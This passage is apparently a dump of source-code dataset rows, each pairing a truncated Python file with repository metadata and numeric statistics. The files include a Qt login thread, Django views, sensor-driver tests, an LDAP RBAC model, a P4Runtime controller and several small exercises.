return await Fi... | 24.736842 | 47 | 0.757447 | 63 | 470 | 5.492063 | 0.444444 | 0.069364 | 0.190751 | 0.104046 | 0.150289 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117021 | 470 | 18 | 48 | 26.111111 | 0.833735 | 0 | 0 | 0 | 0 | 0 | 0.125532 | 0.074468 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.214286 | 0 | 0.428571 | 0.142857 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5fc0c6fa5f39b3c37153560ebbd48783e3d8d288 | 2,316 | py | Python | strack_connect/model/session.py | zuokangbo/strack-connect | 8dff543d118ee827d1c5b96f749cf43121fd8cfb | [
"Apache-2.0"
] | null | null | null | strack_connect/model/session.py | zuokangbo/strack-connect | 8dff543d118ee827d1c5b96f749cf43121fd8cfb | [
"Apache-2.0"
] | null | null | null | strack_connect/model/session.py | zuokangbo/strack-connect | 8dff543d118ee827d1c5b96f749cf43121fd8cfb | [
"Apache-2.0"
] | 2 | 2022-01-04T09:22:37.000Z | 2022-03-20T19:56:18.000Z | # :coding: utf-8
# :copyright: Copyright (c) 2021 strack
import traceback
from strack_connect.config.log import *
from strack_api.strack import Strack
from dayu_widgets.qt import QThread, Signal
from dayu_widgets.alert import MAlert
import threading
class LoginThread(QThread):
"""Session api by thread"""
# L... | 29.316456 | 75 | 0.572971 | 251 | 2,316 | 5.163347 | 0.40239 | 0.05787 | 0.058642 | 0.029321 | 0.084877 | 0.04321 | 0 | 0 | 0 | 0 | 0 | 0.003135 | 0.311313 | 2,316 | 78 | 76 | 29.692308 | 0.805643 | 0.074698 | 0 | 0.067797 | 0 | 0 | 0.064623 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.101695 | false | 0.118644 | 0.101695 | 0 | 0.389831 | 0.016949 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
5fc3a1f22c25a91d63eeef0d5d5059476729e8b7 | 487 | py | Python | Exercise_017.py | dorivatech/aprendendo-python | d743abf46f9b95d73dc1cac18c9af43a24e7670c | [
"MIT"
] | 1 | 2021-10-10T23:52:34.000Z | 2021-10-10T23:52:34.000Z | Exercise_017.py | dorivatech/aprendendo-python | d743abf46f9b95d73dc1cac18c9af43a24e7670c | [
"MIT"
] | null | null | null | Exercise_017.py | dorivatech/aprendendo-python | d743abf46f9b95d73dc1cac18c9af43a24e7670c | [
"MIT"
] | null | null | null | from math import hypot
print("{:=^25}".format(" DESAFIO 017 "))
print("{:=^25}".format(" Cálculo da hipotenusa "), end="\n\n")
opposite_leg = float(input("Comprimento do cateto oposto: "))
adjacent_leg = float(input("Comprimento do cateto adjacente: "))
# hypotenuse = ((opposite_leg ** 2) + (adjacent_leg ** 2)) ** (... | 40.583333 | 114 | 0.687885 | 68 | 487 | 4.808824 | 0.529412 | 0.134557 | 0.079511 | 0.146789 | 0.195719 | 0.195719 | 0 | 0 | 0 | 0 | 0 | 0.028302 | 0.129363 | 487 | 12 | 114 | 40.583333 | 0.742925 | 0.13347 | 0 | 0 | 0 | 0 | 0.415677 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.142857 | 0.428571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
5fc3e86b5569812d66d7545f36db833d56138d2f | 947 | py | Python | CompLearningApp/views.py | DanGiaime/Comp-Learning-Feed | 8e43a8129622ad28bed06a76b0a9184439128265 | [
"MIT"
] | null | null | null | CompLearningApp/views.py | DanGiaime/Comp-Learning-Feed | 8e43a8129622ad28bed06a76b0a9184439128265 | [
"MIT"
] | null | null | null | CompLearningApp/views.py | DanGiaime/Comp-Learning-Feed | 8e43a8129622ad28bed06a76b0a9184439128265 | [
"MIT"
] | null | null | null | from django.shortcuts import render
from .forms import EventForm
from django.utils import timezone
from django.http import HttpResponseRedirect
from django.contrib.auth import logout, login, authenticate
from django.contrib.auth.decorators import login_required, user_passes_test
# Create your views here.
#default mai... | 33.821429 | 75 | 0.680042 | 116 | 947 | 5.474138 | 0.439655 | 0.07874 | 0.089764 | 0.066142 | 0.23622 | 0.23622 | 0.122835 | 0.122835 | 0 | 0 | 0 | 0 | 0.216473 | 947 | 28 | 76 | 33.821429 | 0.855795 | 0.129884 | 0 | 0.3 | 0 | 0 | 0.062271 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0.05 | 0.3 | 0.05 | 0.55 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
5fc58eb99a32a70d62af619193d0537cc525e595 | 202 | py | Python | Iniciante/Python/1589 - Bob Conduite.py | gtozeti/URI | e776172fd5605e9d6e641bbd59859680fecd2400 | [
"MIT"
] | 2 | 2021-02-19T01:18:10.000Z | 2021-02-19T01:18:27.000Z | Iniciante/Python/1589 - Bob Conduite.py | gtozeti/URI | e776172fd5605e9d6e641bbd59859680fecd2400 | [
"MIT"
] | null | null | null | Iniciante/Python/1589 - Bob Conduite.py | gtozeti/URI | e776172fd5605e9d6e641bbd59859680fecd2400 | [
"MIT"
] | null | null | null | testes = int(input())
casos = []
for x in range(testes):
casos_ = input().split()
casos.append(casos_)
for x in range(testes):
a = int(casos[x][0])
b = int(casos[x][1])
print(a+b)
| 16.833333 | 28 | 0.569307 | 33 | 202 | 3.424242 | 0.454545 | 0.141593 | 0.159292 | 0.19469 | 0.389381 | 0.389381 | 0 | 0 | 0 | 0 | 0 | 0.012903 | 0.232673 | 202 | 11 | 29 | 18.363636 | 0.716129 | 0 | 0 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5fc5b0949d17956a9520af156f0f4165cf5a39cd | 224 | py | Python | base/forms.py | PeterStuck/teacher-app | e71c5b69019450a9ac8694fb461d343ce33e1b35 | [
"CC0-1.0"
] | null | null | null | base/forms.py | PeterStuck/teacher-app | e71c5b69019450a9ac8694fb461d343ce33e1b35 | [
"CC0-1.0"
] | null | null | null | base/forms.py | PeterStuck/teacher-app | e71c5b69019450a9ac8694fb461d343ce33e1b35 | [
"CC0-1.0"
] | null | null | null | from django import forms
from django.forms import CharField
class TopicSearchForm(forms.Form):
keyword = CharField(
label='',
error_messages={
'required': 'To pole jest wymagane.'
}) | 22.4 | 48 | 0.629464 | 23 | 224 | 6.086957 | 0.73913 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.276786 | 224 | 10 | 49 | 22.4 | 0.864198 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5fc6f4b0249e17780a10440a234f2f46bdafb236 | 7,408 | py | Python | showerpipe/generator.py | jacanchaplais/showerpipe | fd6797f6555a46e5f493a71ef859bf6ae4c02e2b | [
"BSD-3-Clause"
] | null | null | null | showerpipe/generator.py | jacanchaplais/showerpipe | fd6797f6555a46e5f493a71ef859bf6ae4c02e2b | [
"BSD-3-Clause"
] | 8 | 2022-01-10T11:18:57.000Z | 2022-03-01T14:41:36.000Z | showerpipe/generator.py | jacanchaplais/showerpipe | fd6797f6555a46e5f493a71ef859bf6ae4c02e2b | [
"BSD-3-Clause"
] | null | null | null | """
``showerpipe.generator``
=====================
The ShowerPipe Generator module provides a standardised Pythonic
interface to showering and hadronisation programs.
Data is generated using Python iterator objects, and provided in
NumPy arrays.
Notes
-----
The classes provided here are concrete implementations of t... | 34.779343 | 78 | 0.590713 | 861 | 7,408 | 4.880372 | 0.318235 | 0.044979 | 0.026178 | 0.01999 | 0.126606 | 0.104712 | 0.087577 | 0.047596 | 0.034269 | 0.034269 | 0 | 0.003349 | 0.314795 | 7,408 | 212 | 79 | 34.943396 | 0.824468 | 0.306425 | 0 | 0.083969 | 1 | 0 | 0.081798 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.10687 | false | 0 | 0.091603 | 0.045802 | 0.305344 | 0.007634 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
395ddecacc2e85d2038a352464b23c1d8da00df3 | 4,040 | py | Python | mod/lib.py | MoreliaTalk/Server | 5d42cf999682271ef8d54b5c6e09f06bed08d946 | [
"Unlicense"
] | null | null | null | mod/lib.py | MoreliaTalk/Server | 5d42cf999682271ef8d54b5c6e09f06bed08d946 | [
"Unlicense"
] | null | null | null | mod/lib.py | MoreliaTalk/Server | 5d42cf999682271ef8d54b5c6e09f06bed08d946 | [
"Unlicense"
] | null | null | null | """
Copyright (c) 2020 - present NekrodNIK, Stepan Skriabin, rus-ai and other.
Look at the file AUTHORS.md(located at the root of the project) to get the
full list.
This file is part of Morelia Server.
Morelia Server is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General ... | 28.652482 | 79 | 0.595792 | 477 | 4,040 | 4.955975 | 0.383648 | 0.060914 | 0.015228 | 0.024112 | 0.064298 | 0.064298 | 0.028765 | 0 | 0 | 0 | 0 | 0.005238 | 0.338366 | 4,040 | 140 | 80 | 28.857143 | 0.879162 | 0.420297 | 0 | 0.142857 | 0 | 0 | 0.0024 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.107143 | false | 0.25 | 0.089286 | 0 | 0.321429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
396256e69d359ec6e04d11cfc2a401240b6cf516 | 17,590 | py | Python | library/tests/test_setup.py | benevpi/pms5003-circuitpython | 18478e2b4df674bfe594d5c4e7f606d5024909e2 | [
"MIT"
] | 2 | 2020-02-12T22:42:11.000Z | 2021-07-01T22:03:28.000Z | library/tests/test_setup.py | benevpi/pms5003-circuitpython | 18478e2b4df674bfe594d5c4e7f606d5024909e2 | [
"MIT"
] | 9 | 2020-05-26T17:27:14.000Z | 2021-05-04T10:48:54.000Z | library/tests/test_setup.py | benevpi/pms5003-circuitpython | 18478e2b4df674bfe594d5c4e7f606d5024909e2 | [
"MIT"
] | 5 | 2020-06-25T22:37:16.000Z | 2021-12-10T14:52:19.000Z | import sys
import time
from unittest import mock
import pytest
import struct
# PMS5003 as seen from logic analayser
GOODFRAME1 = (b'\x42\x4d'
b'\x00\x1c'
b'\x00\x02\x00\x04\x00\x04\x00\x02\x00\x04\x00\x04\x02\xe8\x00\xd4\x00\x20\x00\x00\x00\x00\x00\x00\x97\x00'
b'\x03\x34')
... | 30.69808 | 121 | 0.662649 | 2,400 | 17,590 | 4.68625 | 0.137083 | 0.033787 | 0.019916 | 0.025607 | 0.701698 | 0.658931 | 0.629501 | 0.606651 | 0.576776 | 0.554281 | 0 | 0.063366 | 0.240989 | 17,590 | 572 | 122 | 30.751748 | 0.779043 | 0.218192 | 0 | 0.664103 | 0 | 0.005128 | 0.039552 | 0.030522 | 0 | 0 | 0.000299 | 0 | 0.048718 | 1 | 0.125641 | false | 0.064103 | 0.071795 | 0.010256 | 0.248718 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
3963fa28b98fcffe591db8f689ca804036fbe1bd | 688 | py | Python | tpdatasrc/tpgamefiles/scr/feats/feat - Sudden Quicken.py | edoipi/TemplePlus | f0e552289822fea908f16daa379fa568b1bd286d | [
"MIT"
] | 69 | 2015-05-05T14:09:25.000Z | 2022-02-15T06:13:04.000Z | tpdatasrc/tpgamefiles/scr/feats/feat - Sudden Quicken.py | edoipi/TemplePlus | f0e552289822fea908f16daa379fa568b1bd286d | [
"MIT"
] | 457 | 2015-05-01T22:07:45.000Z | 2022-03-31T02:19:10.000Z | tpdatasrc/tpgamefiles/scr/feats/feat - Sudden Quicken.py | edoipi/TemplePlus | f0e552289822fea908f16daa379fa568b1bd286d | [
"MIT"
] | 25 | 2016-02-04T21:19:53.000Z | 2021-11-15T23:14:51.000Z | from toee import *
import char_editor
def CheckPrereq(attachee, classLevelled, abilityScoreRaised):
#Must have the quicken feat
if not char_editor.has_feat(feat_quicken_spell):
return 0
#Must have the sudden extend feat
if not char_editor.has_feat("Sudden Extend"):
return 0
#Must have the sudden maxim... | 22.193548 | 61 | 0.75 | 109 | 688 | 4.59633 | 0.256881 | 0.139721 | 0.131737 | 0.155689 | 0.610778 | 0.610778 | 0.371257 | 0.319361 | 0 | 0 | 0 | 0.012456 | 0.18314 | 688 | 30 | 62 | 22.933333 | 0.879004 | 0.273256 | 0 | 0.375 | 0 | 0 | 0.135628 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0.125 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
396d6fd553f830a1b548ffe4f44096e984d5e83a | 1,233 | py | Python | ifplus/rbac/models/arbac.py | hitakaken/ifplus | 8354eeceea8abcbcaeb5dcd1c11eef69cbef6557 | [
"MIT"
] | null | null | null | ifplus/rbac/models/arbac.py | hitakaken/ifplus | 8354eeceea8abcbcaeb5dcd1c11eef69cbef6557 | [
"MIT"
] | null | null | null | ifplus/rbac/models/arbac.py | hitakaken/ifplus | 8354eeceea8abcbcaeb5dcd1c11eef69cbef6557 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from ldap_rbac.core.models import LdapEntity, PropertiesEntity, Constraint
class ARBAC(LdapEntity):
ID_FIELD = 'ou'
ROOT = 'ou=ARBAC'
class UserOrgUnit(LdapEntity):
"""Fortress ARBAC User OrgUnit"""
ID_FIELD = 'ou'
ROOT = 'ou=OS-U,ou=ARBAC'
OBJECT_CLASS = ['top', 'org... | 30.073171 | 93 | 0.663423 | 150 | 1,233 | 5.24 | 0.326667 | 0.035623 | 0.034351 | 0.049618 | 0.592875 | 0.547074 | 0.547074 | 0.486005 | 0.442748 | 0.343511 | 0 | 0.000992 | 0.182482 | 1,233 | 40 | 94 | 30.825 | 0.77877 | 0.079481 | 0 | 0.44 | 0 | 0 | 0.170688 | 0.018767 | 0 | 0 | 0 | 0 | 0 | 1 | 0.12 | false | 0 | 0.04 | 0 | 0.88 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
39738b0396cc7f3d7acca73e61958a3d138e4344 | 449 | py | Python | tests/test_loaders/test_json_loader.py | hellokaton/pydantic-i18n | 11985fff022bdcbc05514aea3d8b38761efc2548 | [
"MIT"
] | 25 | 2021-08-03T23:12:54.000Z | 2022-03-25T15:25:34.000Z | tests/test_loaders/test_json_loader.py | hellokaton/pydantic-i18n | 11985fff022bdcbc05514aea3d8b38761efc2548 | [
"MIT"
] | 30 | 2021-08-02T23:01:57.000Z | 2022-03-01T23:06:01.000Z | tests/test_loaders/test_json_loader.py | hellokaton/pydantic-i18n | 11985fff022bdcbc05514aea3d8b38761efc2548 | [
"MIT"
] | 3 | 2021-08-08T04:28:11.000Z | 2021-11-29T09:05:29.000Z | import pytest
from pydantic_i18n import JsonLoader
def test_init(json_translations_directory: str):
json_loader = JsonLoader(json_translations_directory)
assert json_loader.directory == json_translations_directory
def test_not_dir_path(tmp_path):
fp = tmp_path / "hello.txt"
fp.touch()
with pyt... | 23.631579 | 67 | 0.734967 | 61 | 449 | 5.163934 | 0.52459 | 0.152381 | 0.238095 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005362 | 0.169265 | 449 | 18 | 68 | 24.944444 | 0.839142 | 0 | 0 | 0 | 0 | 0 | 0.089087 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 1 | 0.181818 | false | 0 | 0.181818 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3974b2257a77063943bc04440665862915279c98 | 300 | py | Python | voca/forms.py | CLUG-kr/server | 97738682480dbd4f31e13d5aa3cb9adf145e67bb | [
"MIT"
] | null | null | null | voca/forms.py | CLUG-kr/server | 97738682480dbd4f31e13d5aa3cb9adf145e67bb | [
"MIT"
] | null | null | null | voca/forms.py | CLUG-kr/server | 97738682480dbd4f31e13d5aa3cb9adf145e67bb | [
"MIT"
] | null | null | null | from django import forms
from .models import PDFModel
class PDF_Form(forms.ModelForm):
class Meta:
model = PDFModel
fields = (
'filePath',
'Account_userID',
)
# widgets = {
# 'Account_userID': forms.HiddenInput(),
# }
| 20 | 52 | 0.53 | 26 | 300 | 6 | 0.692308 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.373333 | 300 | 14 | 53 | 21.428571 | 0.829787 | 0.186667 | 0 | 0 | 0 | 0 | 0.091667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.222222 | 0 | 0.444444 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
398082aeb44e564564d99e7a4e7c8d75cd20b697 | 1,578 | py | Python | penyisipan.py | andresuntoro/simple-encrypt-decrypt | bcdde9c43dadef7a30efd92f4ff892c79941fd2f | [
"MIT"
] | null | null | null | penyisipan.py | andresuntoro/simple-encrypt-decrypt | bcdde9c43dadef7a30efd92f4ff892c79941fd2f | [
"MIT"
] | null | null | null | penyisipan.py | andresuntoro/simple-encrypt-decrypt | bcdde9c43dadef7a30efd92f4ff892c79941fd2f | [
"MIT"
] | null | null | null | import binascii, sys
# Andre Suntoro - 201581076
def main():
print "==================================="
print "Penyisipan"
print "==================================="
print "1. Encryption"
print "2. Decryption"
print "3. Quit"
def enc():
plain_teks=raw_input('Masukan Plaintext: ')
plain=bin(int(... | 24.276923 | 64 | 0.525982 | 199 | 1,578 | 4.065327 | 0.261307 | 0.014833 | 0.059333 | 0.093943 | 0.309023 | 0.309023 | 0.271941 | 0.271941 | 0.271941 | 0.271941 | 0 | 0.025229 | 0.171103 | 1,578 | 64 | 65 | 24.65625 | 0.593272 | 0.015843 | 0 | 0.428571 | 0 | 0 | 0.308675 | 0.162744 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.017857 | null | null | 0.25 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3987d86120214a83f72bb31d0cc8b2d62f6683e1 | 5,562 | py | Python | p4runtimecontroller/main.py | BenRLewis/P4-Source-Routing | f91fef8b0b16318bd613ae8c8e43e18a7d780733 | [
"Apache-2.0"
] | 1 | 2021-03-26T10:48:03.000Z | 2021-03-26T10:48:03.000Z | p4runtimecontroller/main.py | BenRLewis/P4-Source-Routing | f91fef8b0b16318bd613ae8c8e43e18a7d780733 | [
"Apache-2.0"
] | null | null | null | p4runtimecontroller/main.py | BenRLewis/P4-Source-Routing | f91fef8b0b16318bd613ae8c8e43e18a7d780733 | [
"Apache-2.0"
] | null | null | null | from switch_connection import SwitchConnection
from p4.config import p4info_pb2
import google.protobuf.text_format
import argparse
from p4 import p4runtime_pb2
from p4runtime_lib import helper, convert
import zmq
import cPickle as pickle
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_... | 42.136364 | 174 | 0.562388 | 631 | 5,562 | 4.751189 | 0.242472 | 0.096731 | 0.052035 | 0.044029 | 0.491995 | 0.463642 | 0.416945 | 0.357238 | 0.329887 | 0.329887 | 0 | 0.020891 | 0.345919 | 5,562 | 131 | 175 | 42.458015 | 0.803189 | 0.238583 | 0 | 0.318182 | 0 | 0 | 0.183703 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.090909 | null | null | 0.159091 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
399022eda57c2c286e7f5cfa97a75fc9066459b4 | 486 | py | Python | mp2_api/migrations/0007_client_drone_id.py | SaxenaKartik/MP2 | 9d510cd55e7ac57dd7af193dd72d95d51f0be1c6 | [
"MIT"
] | null | null | null | mp2_api/migrations/0007_client_drone_id.py | SaxenaKartik/MP2 | 9d510cd55e7ac57dd7af193dd72d95d51f0be1c6 | [
"MIT"
] | 7 | 2020-05-23T05:40:41.000Z | 2022-02-10T11:30:19.000Z | mp2_api/migrations/0007_client_drone_id.py | SaxenaKartik/MP2 | 9d510cd55e7ac57dd7af193dd72d95d51f0be1c6 | [
"MIT"
] | null | null | null | # Generated by Django 2.2.10 on 2020-05-31 18:39
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('mp2_api', '0006_remove_client_drone_id'),
]
operations = [
migrations.AddField(
model_name='cl... | 24.3 | 112 | 0.644033 | 60 | 486 | 5.066667 | 0.633333 | 0.078947 | 0.092105 | 0.144737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.061995 | 0.236626 | 486 | 19 | 113 | 25.578947 | 0.757412 | 0.09465 | 0 | 0 | 1 | 0 | 0.139269 | 0.061644 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.153846 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3993ddece04a0773bd666aa41a031a795e831057 | 6,965 | py | Python | test/test_config.py | BandwidthOnDemand/opennsa | a3686a80dd21ee6ae1c581aa728321f06d05d811 | [
"BSD-3-Clause"
] | 13 | 2015-06-11T09:37:33.000Z | 2021-12-10T01:56:23.000Z | test/test_config.py | safaci2000/opennsa | a230d80f8ec29c27b525a0f9cfb4197d684f18e6 | [
"BSD-3-Clause"
] | 15 | 2016-11-04T00:16:54.000Z | 2022-01-06T09:39:11.000Z | test/test_config.py | safaci2000/opennsa | a230d80f8ec29c27b525a0f9cfb4197d684f18e6 | [
"BSD-3-Clause"
] | 21 | 2015-04-01T20:44:55.000Z | 2021-09-16T20:10:24.000Z | from twisted.trial import unittest
import json
import tempfile
import configparser
from io import StringIO
from opennsa import config, setup
from opennsa.config import Config
from . import db
ARUBA_DUD_CONFIG_NO_DATABASE = """
[service]
domain=aruba.net
logfile=
rest=true
port=4080
tls=false
[dud]
"""
ARUBA_DUD_C... | 28.900415 | 99 | 0.576023 | 757 | 6,965 | 5.087186 | 0.21004 | 0.024929 | 0.044144 | 0.024929 | 0.601662 | 0.58712 | 0.553622 | 0.527136 | 0.49961 | 0.471566 | 0 | 0.03106 | 0.338981 | 6,965 | 240 | 100 | 29.020833 | 0.805387 | 0.032879 | 0 | 0.604396 | 0 | 0.021978 | 0.2677 | 0.036369 | 0 | 0 | 0 | 0 | 0.005495 | 1 | 0.043956 | false | 0.054945 | 0.043956 | 0 | 0.098901 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
399a190f9c569b3f84e7cab89f873836a813468a | 303 | py | Python | application/bridgesystem/util.py | Ragora/PyBridge | 146bf8dea53d8af1ec7547cb18e4d373b2af6ec8 | [
"MIT"
] | null | null | null | application/bridgesystem/util.py | Ragora/PyBridge | 146bf8dea53d8af1ec7547cb18e4d373b2af6ec8 | [
"MIT"
] | null | null | null | application/bridgesystem/util.py | Ragora/PyBridge | 146bf8dea53d8af1ec7547cb18e4d373b2af6ec8 | [
"MIT"
] | null | null | null | def chunk_string(string, chunk_size=450):
# Limit = 462, cutting off at 450 to be safe.
string_chunks = []
while len(string) != 0:
current_chunk = string[0:chunk_size]
string_chunks.append(current_chunk)
string = string[len(current_chunk):]
return string_chunks
| 30.3 | 49 | 0.666667 | 41 | 303 | 4.707317 | 0.487805 | 0.170984 | 0.176166 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047414 | 0.234323 | 303 | 9 | 50 | 33.666667 | 0.784483 | 0.141914 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39a0959a4583093e4802f0c3fd3dbaba8fa9b2cc | 1,629 | py | Python | bingo/bingo-elastic/python/setup.py | Nitin0309/Nitin-indigo-bugs | 71f16ec2930fde8d46a6e6a0481b94e291c80f79 | [
"Apache-2.0"
] | null | null | null | bingo/bingo-elastic/python/setup.py | Nitin0309/Nitin-indigo-bugs | 71f16ec2930fde8d46a6e6a0481b94e291c80f79 | [
"Apache-2.0"
] | null | null | null | bingo/bingo-elastic/python/setup.py | Nitin0309/Nitin-indigo-bugs | 71f16ec2930fde8d46a6e6a0481b94e291c80f79 | [
"Apache-2.0"
] | null | null | null | from setuptools import setup # type: ignore
CLASSIFIERS = """\
Development Status :: 5 - Production/Stable
Intended Audience :: Science/Research
Intended Audience :: Developers
License :: OSI Approved :: Apache Software License
Programming Language :: Python
Programming Language :: Python :: 3.7
